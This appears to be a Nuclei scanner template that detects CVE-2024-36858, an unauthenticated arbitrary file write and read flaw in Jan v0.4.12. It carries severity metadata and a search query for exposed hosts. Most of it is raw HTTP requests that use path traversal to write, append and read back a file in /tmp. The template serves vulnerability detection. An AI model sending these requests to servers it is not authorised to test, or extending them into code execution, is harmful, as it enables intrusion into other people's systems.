Jan v0.4.12 - Arbitrary File Upload

id: CVE-2024-36858

info:
  name: Jan v0.4.12 - Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file.
  impact: |
    Unauthenticated attackers can upload crafted files to execute arbitrary code on the server.
  remediation: |
    Update Jan to a version later than v0.4.12 that patches the arbitrary file upload vulnerability.
  reference:
    - https://github.com/HackAllSec/CVEs/blob/main/Jan%20AFR%20vulnerability/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-36858
    cwe-id: CWE-434
    epss-score: 0.03035
    epss-percentile: 0.87612
    cpe: cpe:2.3:a:homebrew:jan:0.4.12:*:*:*:*:*:*:*
  metadata:
    vendor: homebrew
    product: jan
    fofa-query: icon_hash="-165268926"
  tags: cve,cve2024,totolink,unauth,intrusive,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(6))}}"
  string: "{{rand_text_alpha(10)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"<title>Jan</title>")'
          - "contains(content_type, 'text/html')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /v1/app/writeFileSync HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}
        contentType: application/json
        Content-Type: text/plain;charset=UTF-8
        Origin: {{RootURL}}

        ["/../../../../../tmp/{{filename}}.txt","{{randstr}}"]

      - |
        POST /v1/app/appendFileSync HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}
        contentType: application/json
        Content-Type: text/plain;charset=UTF-8
        Origin: {{RootURL}}

        ["file:/../../../../../../tmp/{{filename}}.txt","{{string}}"]

      - |
        POST /v1/app/readFileSync HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}
        contentType: application/json
        Content-Type: text/plain;charset=UTF-8
        Origin: {{RootURL}}

        ["file:/../../../../../../tmp/{{filename}}.txt","utf-8"]

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200'
          - 'contains(body_3, "{{string}}")'
        condition: and